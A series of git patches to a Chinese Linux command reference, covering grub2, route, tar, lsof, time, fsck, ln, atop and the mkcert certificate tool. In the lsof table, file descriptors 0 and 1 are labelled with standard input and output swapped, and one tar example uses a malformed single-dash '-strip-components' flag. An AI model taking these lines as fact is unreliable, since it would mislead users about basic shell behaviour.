--output=FILE output generated config to FILE [default=stdout] + -h, --help print this message and exit + -v, --version print the version information and exit + +Report bugs to . + +``` + +## 实例 + +生成新的grub配置文件 + +```shell +grub2-mkconfig -o /boot/grub2/grub.cfg + +# 或者 + +grub2-mkconfig > /boot/grub2/grub.cfg +``` From f525bde2156e1a8bd473b7542788f21b442d98c7 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Fri, 21 Oct 2022 15:51:55 +0800 Subject: [PATCH 0567/1019] Add files via upload (#436) --- command/grub2-set-default.md | 45 ++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 command/grub2-set-default.md diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md new file mode 100644 index 00000000000..8cbd5697cb9 --- /dev/null +++ b/command/grub2-set-default.md @@ -0,0 +1,45 @@ +grub2-set-default +=== + +设置系统默认的启动内核 + +## 语法 + +```shell +Usage: grub2-set-default [OPTION] MENU_ENTRY +Set the default boot menu entry for GRUB. +This requires setting GRUB_DEFAULT=saved in /etc/default/grub. + + -h, --help print this message and exit + -v, --version print the version information and exit + --boot-directory=DIR expect GRUB images under the directory DIR/grub2 + instead of the /boot/grub2 directory + +MENU_ENTRY is a number, a menu item title or a menu item identifier. + +Report bugs to . + +``` + +## 实例 + +查看可选的系统内核： +```shell +# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg +CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core) +CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core) +CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core) +CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core) +``` + +grub2-set-default后面的序号从0开始。所以，如果想设置第一个选项为默认启动内核，则可以使用下面的命令： + +```shell +# grub2-set-default 0 +``` +如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2 + +重启系统 +```shell +~]# init 6 +``` \ No newline at end of file From a88ebd19104f1fb346fc734daf988f55a58db708 Mon Sep 17 00:00:00 2001 From: Wingrez <31106425+wingrez@users.noreply.github.com> Date: Thu, 27 Oct 2022 16:41:25 +0800 Subject: [PATCH 0568/1019] fix case error in route.md (#437) fix case error in route.md --- command/route.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/command/route.md b/command/route.md index 2d462d9c817..9efeb6df712 100644 --- a/command/route.md +++ b/command/route.md @@ -30,9 +30,9 @@ route(选项)(参数) ### 参数 ```shell -Add：增加指定的路由记录； -Del：删除指定的路由记录； -Target：目的网络或目的主机； +add：增加指定的路由记录； +del：删除指定的路由记录； +target：目的网络或目的主机； gw：设置默认网关； mss：设置TCP的最大区块长度（MSS），单位MB； window：指定通过路由表的TCP连接的TCP窗口大小； From dc05a4ebab440dd8f0da1fb04f2bd26c3be18b9a Mon Sep 17 00:00:00 2001 From: ernest <307141632@qq.com> Date: Thu, 27 Oct 2022 21:47:34 +0800 Subject: [PATCH 0569/1019] doc: Update README.md (#438) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新安卓版本截图 --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 52ca5f882e3..9700051f42a 100644 --- a/README.md +++ b/README.md @@ -111,10 +111,13 @@
Android 版本截图 -Android 版本截图 +Android 版本截图 -Android 版本截图 +Android 版本截图 +Android 版本截图 + +Android 版本截图
## 命令行工具 From ce53d4aaf544a48177f2356f65c3370ecf3cf2a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=90=95=E7=A8=8B=E9=A3=8E?= Date: Fri, 28 Oct 2022 08:39:16 +0800 Subject: [PATCH 0570/1019] fix: fix the typo and add some examples (#439) * docs: update tar.md * docs: update tar.md --- command/tar.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/command/tar.md b/command/tar.md index e321304124e..d6ef556f327 100644 --- a/command/tar.md +++ b/command/tar.md @@ -469,10 +469,17 @@ tar -jcvf log.tar.bz2 log2012.log 打包后，以 bzip2 压缩 **解压目录** -去掉第一层目录结构，要出除第二层，--strip-components 2 +参数--strip-components NUMBER，在提取时从文件名中删除NUMBER个前导组件，如要去除前二层，参数为--strip-components 2 ```shell tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录 + +示例 +tar -xvf xxx.tar.gz -C /usr/src/a +/usr/src/a/xxxxx/src/opp/b.txt + +tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a +/usr/src/a/src/opp/b.txt ``` **查阅上述tar包内有哪些文件** ： From f682765936a73a8870ff78ee5db0738fb993a093 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 28 Oct 2022 08:41:03 +0800 Subject: [PATCH 0571/1019] Update `tar.md` (#439) --- command/tar.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/command/tar.md b/command/tar.md index d6ef556f327..cab3d9ad132 100644 --- a/command/tar.md +++ b/command/tar.md @@ -473,11 +473,16 @@ tar -jcvf log.tar.bz2 log2012.log 打包后，以 bzip2 压缩 ```shell tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录 +``` 示例 + +```shell tar -xvf xxx.tar.gz -C /usr/src/a /usr/src/a/xxxxx/src/opp/b.txt +``` +```shell tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a /usr/src/a/src/opp/b.txt ``` From 656e0a0075fb71d5f36bdea1e103b655fb50339c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Sun, 30 Oct 2022 03:04:49 +0800 Subject: [PATCH 0572/1019] Update lsof.md --- command/lsof.md | 117 ++++++++++++++++++++++++++---------------------- 1 file changed, 64 insertions(+), 53 deletions(-) diff --git a/command/lsof.md b/command/lsof.md index 9ba481ac1dd..7dca696be9f 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -64,69 +64,80 @@ events/0 6 root txt unknown /proc events/1 7 root cwd DIR 8,2 4096 2 / ``` - **lsof输出各列信息的意义如下：** +**lsof输出各列信息的意义如下：** -* COMMAND：进程的名称 -* PID：进程标识符 -* PPID：父进程标识符（需要指定-R参数） -* USER：进程所有者 -* PGID：进程所属组 -* FD：文件描述符，应用程序通过文件描述符识别该文件。 +标识 | 说明 +:- | :- +`COMMAND` | 进程的名称 +`PID` | 进程标识符 +`PPID` | 父进程标识符（需要指定-R参数） +`USER` | 进程所有者 +`PGID` | 进程所属组 +`FD` | 文件描述符，应用程序通过它识别该文件 文件描述符列表： -1. cwd：表示current work dirctory，即：应用程序的当前工作目录，这是该应用程序启动的目录，除非它本身对这个目录进行更改 -2. txt：该类型的文件是程序代码，如应用程序二进制文件本身或共享库，如上列表中显示的 /sbin/init 程序 -3. lnn：library references (AIX); -4. er：FD information error (see NAME column); -5. jld：jail directory (FreeBSD); -6. ltx：shared library text (code and data); -7. mxx ：hex memory-mapped type number xx. -8. m86：DOS Merge mapped file; -9. mem：memory-mapped file; -10. mmap：memory-mapped device; -11. pd：parent directory; -12. rtd：root directory; -13. tr：kernel trace file (OpenBSD); -14. v86  VP/ix mapped file; -15. 0：表示标准输出 -16. 1：表示标准输入 -17. 2：表示标准错误 +标识 | 说明 +:- | :- +`cwd` | 表示当前工作目录，即：应用程序的当前工作目录，这是该应用程序启动的目录，除非它本身对这个目录进行更改 +`txt` | 该类型的文件是程序代码，如应用程序二进制文件本身或共享库，如上列表中显示的 /sbin/init 程序 +`lnn` | 库引用 (AIX); +`er` | FD 信息错误（参见名称栏） +`jld` | jail 目录 (FreeBSD); +`ltx` | 共享库文本（代码和数据） +`mxx` | 十六进制内存映射类型编号xx +`m86` | DOS合并映射文件 +`mem` | 内存映射文件 +`mmap` | 内存映射设备 +`pd` | 父目录 +`rtd` | 根目录 +`tr` | 内核跟踪文件 (OpenBSD) +`v86` | VP/ix 映射文件 +`0` | 表示标准输出 +`1` | 表示标准输入 +`2` | 表示标准错误 一般在标准输出、标准错误、标准输入后还跟着文件状态模式： -1. u：表示该文件被打开并处于读取/写入模式。 -2. r：表示该文件被打开并处于只读模式。 -3. w：表示该文件被打开并处于写入模式。 -4. 空格：表示该文件的状态模式为unknow，且没有锁定。 -5. -：表示该文件的状态模式为unknow，且被锁定。 +标识 | 说明 +:- | :- +`u` | 表示该文件被打开并处于读取/写入模式 +`r` | 表示该文件被打开并处于只读模式 +`w` | 表示该文件被打开并处于写入模式 +`空格` | 表示该文件的状态模式为 unknow，且没有锁定 +`-` | 表示该文件的状态模式为 unknow，且被锁定 同时在文件状态模式后面，还跟着相关的锁： -1. N：for a Solaris NFS lock of unknown type; -2. r：for read lock on part of the file; -3. R：for a read lock on the entire file; -4. w：for a write lock on part of the file;（文件的部分写锁） -5. W：for a write lock on the entire file;（整个文件的写锁） -6. u：for a read and write lock of any length; -7. U：for a lock of unknown type; -8. x：for an SCO OpenServer Xenix lock on part      of the file; -9. X：for an SCO OpenServer Xenix lock on the      entire file; -10. space：if there is no lock. - -文件类型： - -1. DIR：表示目录。 -2. CHR：表示字符类型。 -3. BLK：块设备类型。 -4. UNIX： UNIX 域套接字。 -5. FIFO：先进先出 (FIFO) 队列。 -6. IPv4：网际协议 (IP) 套接字。 -7. DEVICE：指定磁盘的名称 -8. SIZE：文件的大小 -9. NODE：索引节点（文件在磁盘上的标识） -10. NAME：打开文件的确切名称 -11. REG：常规文件 +标识 | 说明 +:- | :- +`N` | 对于未知类型的Solaris NFS锁 +`r` | 用于部分文件的读取锁定 +`R` | 对整个文件进行读取锁定 +`w` | 对文件的一部分进行写锁定(文件的部分写锁) +`W` | 对整个文件进行写锁定(整个文件的写锁) +`u` | 用于任何长度的读写锁 +`U` | 对于未知类型的锁 +`x` | 对于文件部分的SCO OpenServer Xenix锁 +`X` | 对于整个文件的SCO OpenServer Xenix锁 +`space` | 如果没有锁 + + +**文件类型** + +标识 | 说明 +:- | :- +`DIR` | 表示目录 +`CHR` | 表示字符类型 +`BLK` | 块设备类型 +`UNIX` | UNIX 域套接字 +`FIFO` | 先进先出 (FIFO) 队列 +`IPv4` | 网际协议 (IP) 套接字 +`DEVICE` | 指定磁盘的名称 +`SIZE` | 文件的大小 +`NODE` | 索引节点（文件在磁盘上的标识） +`NAME` | 打开文件的确切名称 +`REG` | 常规文件 列出指定进程号所打开的文件: From 7f306908294884b9c567283bfce3f71696985bdb Mon Sep 17 00:00:00 2001 From: Legend Date: Tue, 1 Nov 2022 21:19:43 +0800 Subject: [PATCH 0573/1019] Update time.md (#441) --- command/time.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/time.md b/command/time.md index efa5f26a06e..c46ff23412e 100644 --- a/command/time.md +++ b/command/time.md @@ -36,7 +36,7 @@ sys 0m0.007s * user时间是指进程花费在用户模式中的CPU时间，这是唯一真正用于执行进程所花费的时间，其他进程和花费阻塞状态中的时间没有计算在内。 * sys时间是指花费在内核模式中的CPU时间，代表在内核中执系统调用所花费的时间，这也是真正由进程使用的CPU时间。 -shell内建也有一个time命令，当运行time时候是调用的系统内建命令，应为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 +shell内建也有一个time命令，当运行time时候是调用的系统内建命令，因为系统内建的功能有限，所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 使用`-o`选项将执行时间写入到文件中： From 9c6b8a3952a2988634bc5617dc4a6c895b4359c2 Mon Sep 17 00:00:00 2001 From: DaYangtuo247 <73392515+DaYangtuo247@users.noreply.github.com> Date: Wed, 2 Nov 2022 13:18:46 +0800 Subject: [PATCH 0574/1019] update `fsck.md` (#443) --- command/fsck.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/fsck.md b/command/fsck.md index 8b86d1d57ed..5dc84ecf665 100644 --- a/command/fsck.md +++ b/command/fsck.md @@ -1,11 +1,11 @@ fsck === -检查并且试图修复文件系统中的错误 +fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误 ## 补充说明 -**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化，可用fsck指令尝试加以修复。 +**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误，可用fsck指令尝试加以修复。 ### 语法 From 802a234b219edbe7a4567fa1b0171e9726801207 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=90=95=E7=A8=8B=E9=A3=8E?= Date: Thu, 3 Nov 2022 19:11:06 +0800 Subject: [PATCH 0575/1019] docs: remove redundant '/' (#444) --- command/ln.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ln.md b/command/ln.md index f1afe832443..e9dd3df16d4 100644 --- a/command/ln.md +++ b/command/ln.md @@ -57,7 +57,7 @@ simple, never # 永远使用普通方式备份 ```shell cd /usr/mengqc -ln /mub1/m2.c /usr/liu/a2.c +ln mub1/m2.c /usr/liu/a2.c ``` 在执行ln命令之前，目录`/usr/liu`中不存在a2.c文件。执行ln之后，在`/usr/liu`目录中才有a2.c这一项，表明m2.c和a2.c链接起来（注意，二者在物理上是同一文件），利用`ls -l`命令可以看到链接数的变化。 From e2ed0be41c33b4569f490b49847463ee5674006e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 8 Nov 2022 15:09:50 +0800 Subject: [PATCH 0576/1019] doc: Update README.md (#283) --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9700051f42a..efef9c37ec2 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/) **其它 web 版本** From 9ab1948a85907bb5789965ac260720e98990de58 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 8 Nov 2022 15:14:07 +0800 Subject: [PATCH 0577/1019] doc: Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index efef9c37ec2..3eb76713e30 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) ## 微信小程序版本 From bc0e35f89325b8a3116f9dd1b502f92027149d05 Mon Sep 17 00:00:00 2001 From: M4n5ter <68144809+M4n5ter@users.noreply.github.com> Date: Wed, 9 Nov 2022 09:22:23 +0800 Subject: [PATCH 0578/1019] =?UTF-8?q?feat:=20=E6=9B=B4=E6=96=B0=20atop=20?= =?UTF-8?q?=E5=91=BD=E4=BB=A4=E4=B8=AD=E7=9A=84=E9=93=BE=E6=8E=A5=E4=BB=A5?= =?UTF-8?q?=E5=8F=8A=E5=90=8D=E8=AF=8D=20&=20=E6=B7=BB=E5=8A=A0=20`mkcert`?= =?UTF-8?q?=20=E5=91=BD=E4=BB=A4=20(#446)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/atop.md | 11 +-- command/mkcert.md | 218 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 222 insertions(+), 7 deletions(-) create mode 100644 command/mkcert.md diff --git a/command/atop.md b/command/atop.md index 22f3ebf1d26..a33cf5ab340 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,15 +5,15 @@ atop ## 补充说明 -[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其源码和rpm安装包。 +[非内部程序，需要安装]它以一定的频率记录系统的运行状态，所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况，并能以日志文件的方式保存在磁盘中，服务器出现问题后，我们可获取相应的atop日志文件进行分析。atop是一款开源软件，我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 -## 语法 +## 语法 ```shell atop(选项)(参数) ``` -## 说明 +## 说明 **ATOP列**：该列显示了主机名、信息采样日期和时间点 @@ -21,10 +21,9 @@ atop(选项)(参数) - sys、usr字段分别指示进程在内核态和用户态的运行时间 - #proc字段指示进程总数 -- #zombie字段指示僵死进程的数量 +- #zombie字段指示僵尸进程的数量 - #exit字段指示atop采样周期期间退出的进程数量 - **CPU列**：该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况，我们知道CPU可被用于执行进程、处理中断，也可处于空闲状态(空闲状态分两种，一种是活动进程等待磁盘IO导致CPU空闲，另一种是完全空闲) - sys、usr字段指示CPU被用于处理进程时，进程在内核态、用户态所占CPU的时间比例 @@ -70,7 +69,6 @@ swin、swout字段：换入和换出内存页数 - XXXi 字段指示各层或活动网口收包数目 - XXXo 字段指示各层或活动网口发包数目 - ## atop日志 每个时间点采样页面组合起来就形成了一个atop日志文件，我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢？ @@ -96,4 +94,3 @@ swin、swout字段：换入和换出内存页数 ## 相关资料 - [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) - diff --git a/command/mkcert.md b/command/mkcert.md new file mode 100644 index 00000000000..a074e36da22 --- /dev/null +++ b/command/mkcert.md @@ -0,0 +1,218 @@ +# mkcert + +用来生成自签证书的工具。 + +## 示例 + +`mkcert` 是 GO 编写的，一个简单的**零配置**的用来生成自签证书的工具。 + +下面给一个简单的示例，在本地生成自签证书，并使用让 nc 使用生成的证书。 + +```zsh +~ ·········································································································································  10:46:25 +❯ mkcert -install +The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍 +~ ·········································································································································  10:46:34 +❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 + +Created a new certificate valid for the following names 📜 - "example.com" + - "*.example.com" + - "example.test" + - "localhost" + - "127.0.0.1" + - "::1" + +Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️ + +The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅ +It will expire on 30 January 2025 🗓 + +~ ·········································································································································  10:47:37 +❯ ls +公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar +模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src +~ ·········································································································································  10:47:55 +❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem +Ncat: Version 7.92 ( https://nmap.org/ncat ) +Ncat: Listening on :::1589 +Ncat: Listening on 0.0.0.0:1589 +Ncat: Connection from 127.0.0.1. +Ncat: Connection from 127.0.0.1:39156. +Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0) +``` + +`mkcert` 自动生成并安装一个本地 CA 到 root stores，并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器，不过，这取决于你。 + +## 安装 + +> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。 + +### macOS + +```zsh +brew install mkcert +brew install nss # 如果用 Firefox 的话 +``` + +### Linux + +在 Linux 上，首先要安装 `certutil` + +```zsh +sudo apt install libnss3-tools + -or- +sudo yum install nss-tools + -or- +sudo pacman -S nss + -or- +sudo zypper install mozilla-nss-tools +``` + +然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 + +```zsh +brew install mkcert +``` + +或者从源码构建（要求 Go 1.13+） + +```zsh +git clone https://github.com/FiloSottile/mkcert && cd mkcert +go build -ldflags "-X main.Version=$(git describe --tags)" +``` + +又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +```zsh +curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +chmod +x mkcert-v*-linux-amd64 +sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +``` + +对于 Arch Linux 用户（比如我），[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 + +```zsh +sudo pacman -S mkcert +``` + +### Windows + +使用 [Chocolatey](https://chocolatey.org/) + +```zsh +choco install mkcert +``` + +或者使用 Scoop + +```zsh +scoop bucket add extras +scoop install mkcert +``` + +或者从源码构建（要求 Go 1.10+） ，或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +如果遇到权限问题，请使用管理员运行 `mkcert` + +## 支持的 root stores + +`mkcert` 支持以下 root stores： + +- macOS system store + +- Windows system store + +- Linux 发行版提供 + + - `update-ca-trust` （Fedora，RHEL，CentOS）或者 + + - `update-ca-certificates` （Ubuntu，Debian，OpenSUSE，SLES）或者 + + - `trust` （Arch） + +- Firefox （仅 macOS 和 Linux） + +- Chrome 和 Chromium + +- Java（当 `JAVA_HOME` 被设置时） + +为了把 local root CA 装到这些 root stores 中，你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项："system","java" 和 "nss"（包括了 Firefox）。 + +## 高级 topics + +--- + +### 高级选项 + +```zsh + -cert-file FILE, -key-file FILE, -p12-file FILE + 自定义输出路径. + + -client + 生成供客户端认证使用的证书. + + -ecdsa + 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 来生成证书. + + -pkcs12 + 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, + 包含 cert 和 key for legacy applications. + + -csr CSR + 生成一个给予 CSR（证书签名申请） 的证书。 + 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ +``` + +[SSL 证书 什么是CSR？-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) + +> **请注意！** 你必须把这些选项放在域名列表之前。 + +### 例如 + +```zsh +mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com +``` + +### S/MIME （邮件安全证书） + +用下面这种方式 `mkcert` 会生成一个 S/MIME 证书： + +```zsh +mkcert filippo@example.com +``` + +### 移动设备 + +对于要让移动设备信任证书的情况，你得安装 root CA。就是 `rootCA.pem` 这个文件，可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。 + +在 iOS 上，你也可以使用 AirDrop，把 CA 邮件发给你自己，或者通过一个 HTTP server 提供它。在打开它之后，你需要  [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。 + +对于 Android ，你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。 + +### 用 Node.js 来使用这个 root + +Node 不使用 system root store，所以它不会自动接受 `mkcert` 证书。相反，你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 + +```zsh +export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" +``` + +### 改变 CA 文件的位置 + +CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置，因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。 + +如果你想要管理单独的 CA 们，你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。 + +### 在其它系统上安装 CA + +安装 trust store 不需要 CA key（只要 CA），所以你可以导出 CA，并且使用 `mkcert` 来安装到其它机器上。 + +- 找到 `rootCA.pem` 文件，可以用 `mkcert -CAROOT` 找到对应目录。 + +- 把它 copy 到别的机器上。 + +- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 + +- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`，其它发行版可以用自带的命令手动添加来信任 CA) + +请千万记住 `mkcert` 是用于开发目的的，不建议用于生产，所以它不应该被用到用户终端上，并且你不应该导出或者共享 `rootCA-key.pem` 。 From b562a8f9cffbe56315cf992081daac46851d3387 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 9 Nov 2022 10:27:33 +0800 Subject: [PATCH 0579/1019] doc: Update `mkcert.md` (#446). --- command/mkcert.md | 100 +++++++++++++++++++--------------------------- 1 file changed, 40 insertions(+), 60 deletions(-) diff --git a/command/mkcert.md b/command/mkcert.md index a074e36da22..21901b22c1a 100644 --- a/command/mkcert.md +++ b/command/mkcert.md @@ -1,6 +1,7 @@ -# mkcert +mkcert +=== -用来生成自签证书的工具。 +用来生成自签证书的工具 ## 示例 @@ -49,65 +50,65 @@ Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason ### macOS -```zsh -brew install mkcert -brew install nss # 如果用 Firefox 的话 +```bash +$ brew install mkcert +$ brew install nss # 如果用 Firefox 的话 ``` ### Linux 在 Linux 上，首先要安装 `certutil` -```zsh -sudo apt install libnss3-tools - -or- -sudo yum install nss-tools - -or- -sudo pacman -S nss - -or- -sudo zypper install mozilla-nss-tools +```bash +$ sudo apt install libnss3-tools +# -or- +$ sudo yum install nss-tools +# -or- +$ sudo pacman -S nss +# -or- +$ sudo zypper install mozilla-nss-tools ``` 然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 -```zsh -brew install mkcert +```bash +$ brew install mkcert ``` 或者从源码构建（要求 Go 1.13+） -```zsh +```bash git clone https://github.com/FiloSottile/mkcert && cd mkcert go build -ldflags "-X main.Version=$(git describe --tags)" ``` 又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 -```zsh -curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" -chmod +x mkcert-v*-linux-amd64 -sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +```bash +$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +$ chmod +x mkcert-v*-linux-amd64 +$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert ``` 对于 Arch Linux 用户（比如我），[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 -```zsh -sudo pacman -S mkcert +```bash +$ sudo pacman -S mkcert ``` ### Windows 使用 [Chocolatey](https://chocolatey.org/) -```zsh -choco install mkcert +```bash +$ choco install mkcert ``` 或者使用 Scoop -```zsh -scoop bucket add extras -scoop install mkcert +```bash +$ scoop bucket add extras +$ scoop install mkcert ``` 或者从源码构建（要求 Go 1.10+） ，或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 @@ -119,48 +120,30 @@ scoop install mkcert `mkcert` 支持以下 root stores： - macOS system store - - Windows system store - - Linux 发行版提供 - - `update-ca-trust` （Fedora，RHEL，CentOS）或者 - - `update-ca-certificates` （Ubuntu，Debian，OpenSUSE，SLES）或者 - - `trust` （Arch） - - Firefox （仅 macOS 和 Linux） - - Chrome 和 Chromium - - Java（当 `JAVA_HOME` 被设置时） 为了把 local root CA 装到这些 root stores 中，你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项："system","java" 和 "nss"（包括了 Firefox）。 ## 高级 topics ---- - ### 高级选项 -```zsh - -cert-file FILE, -key-file FILE, -p12-file FILE - 自定义输出路径. - - -client - 生成供客户端认证使用的证书. - - -ecdsa - 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 来生成证书. - - -pkcs12 - 生成一个 ".p12" PKCS #12 文件，也可以被识别为 ".pfx" 文件, - 包含 cert 和 key for legacy applications. - - -csr CSR - 生成一个给予 CSR（证书签名申请） 的证书。 - 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突！ +```bash +-cert-file FILE, -key-file FILE, -p12-file FILE + # 自定义输出路径. +-client # 生成供客户端认证使用的证书. +-ecdsa # 生成使用一个 ECDSA （一种椭圆曲线签名算法）key 